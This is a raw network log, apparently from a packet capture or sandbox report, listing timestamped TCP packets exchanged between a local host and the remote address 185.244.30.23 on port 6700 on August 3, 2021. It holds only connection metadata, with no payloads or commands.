Aug 3, 2021 20:41:51.101686954 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:51.101706028 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:51.101741076 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.101767063 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.101818085 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:51.101824999 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:51.101907015 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.101934910 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.101963997 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.101989985 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.101998091 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:51.102005959 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:51.102135897 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:51.102936983 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.103097916 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.103329897 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:51.103341103 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.105164051 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.105448961 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:51.105467081 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.105519056 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.105655909 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:51.106028080 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.106157064 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:51.106205940 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.106468916 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.106534004 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:51.106556892 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:51.106858969 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.106940031 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:51.106941938 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.107080936 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:51.107223988 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.107402086 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:51.107526064 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.107574940 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.107606888 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:51.107664108 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:51.107687950 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.107780933 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:51.107939959 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.108273029 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.108341932 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:51.108364105 CEST	6700	49776	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:51.108629942 CEST	49776	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:55.574357033 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:55.742564917 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:55.742674112 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:55.743248940 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:55.922439098 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:55.922818899 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:56.090473890 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.091893911 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:56.315241098 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.317975998 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:56.358408928 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.358485937 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:56.358789921 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.358861923 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:56.359225988 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.359464884 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:56.359585047 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.359642982 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:56.525595903 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.525741100 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.525866985 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:56.535691977 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.535845995 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.535929918 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:56.536014080 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.536215067 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.536307096 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:56.536454916 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.536657095 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.536710978 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:56.697827101 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.697900057 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.697935104 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.697969913 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.697988033 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:56.698057890 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:56.707053900 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.707256079 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.707384109 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:56.707487106 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.707714081 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.707918882 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.708018064 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:56.708276033 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.708348989 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:56.708532095 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.708754063 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.708913088 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.708993912 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:56.709225893 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.709301949 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:56.709939957 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.710005045 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.711468935 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:56.866117954 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.866238117 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.866338968 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:56.866642952 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.866799116 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.866867065 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:56.867181063 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.867527962 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.867599010 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:56.867676020 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.867892981 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.867954016 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:56.883516073 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.883703947 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.883971930 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:56.884033918 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.884262085 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.884327888 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:56.884574890 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.884943008 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.885010958 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:56.885212898 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.885725975 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.885793924 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:56.885806084 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.890214920 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.890296936 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:56.890333891 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.890389919 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.890438080 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:56.890479088 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.890605927 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.890665054 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:56.890979052 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.891019106 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.891040087 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.891060114 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.891077042 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.891098976 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.891099930 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:56.891144037 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.891169071 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.891191006 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.891211987 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:56.891235113 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:56.891267061 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:56.891295910 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.034714937 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.034753084 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.034868956 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.034933090 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.035651922 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.035725117 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.036082029 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.036451101 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.036516905 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.036710978 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.036863089 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.036928892 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.037199020 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.037465096 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.037518024 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.037720919 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.037940979 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.038000107 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.038219929 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.038537025 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.038629055 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.038808107 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.039217949 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.039295912 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.051213026 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.051388025 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.051466942 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.051840067 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.052285910 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.052352905 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.052481890 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.052690029 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.052753925 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.052845955 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.053165913 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.053226948 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.053390980 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.053666115 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.053792953 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.053961992 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.054266930 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.054335117 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.054493904 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.054797888 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.054867983 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.055006027 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.055332899 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.055399895 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.057612896 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.058851957 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.058928967 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.059214115 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.059438944 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.059504032 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.059699059 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.060025930 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.060087919 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.060323000 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.060688972 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.060756922 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.060924053 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.061208963 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.061285973 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.061592102 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.061932087 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.061997890 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.062272072 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.062598944 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.062661886 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.062896967 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.063204050 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.063271046 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.063607931 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.063889980 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.063971996 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.064287901 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.116323948 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.117079020 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.203377962 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.203417063 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.203444958 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.203474045 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.203501940 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.203505039 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.203527927 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.203562975 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.203578949 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.203702927 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.203794956 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.203944921 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.204025030 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.204183102 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.204286098 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.204483986 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.204651117 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.204713106 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.204802990 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.205683947 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.205720901 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.205753088 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.205768108 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.205859900 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.206393957 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.206473112 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.207803965 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.207942963 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.218939066 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.219053984 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.219398975 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.219466925 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.219959021 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.220050097 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.220280886 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.220354080 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.222147942 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.222227097 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.225169897 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.225254059 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.225259066 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.225367069 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.225414991 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.225483894 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.225502968 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.225559950 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.225578070 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.225613117 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.225645065 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.225713015 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.225783110 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.225797892 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.225833893 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.225855112 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.225867987 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.225895882 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.225902081 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.225964069 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.225974083 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.227317095 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.227406979 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.227545023 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.227603912 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.227832079 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.227890968 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.228096962 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.228157043 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.228374958 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.228429079 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.228699923 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.228761911 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.231193066 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.231273890 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.231425047 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.231494904 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.240577936 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.240607023 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.240643978 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.240699053 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.240775108 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.240776062 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.240797043 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.240817070 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.240855932 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.240915060 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.240967989 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.240988970 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.241008043 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.241060972 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.241075039 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.283760071 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.283902884 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.330826044 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.371826887 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.371989012 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.372076988 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.372450113 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.373013973 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.373102903 CEST	49777	6700	192.168.2.4	185.244.30.23
Aug 3, 2021 20:41:57.373181105 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.373439074 CEST	6700	49777	185.244.30.23	192.168.2.4
Aug 3, 2021 20:41:57.373486996 CEST	49777	6700	192.168.2.4	185.244.30.23
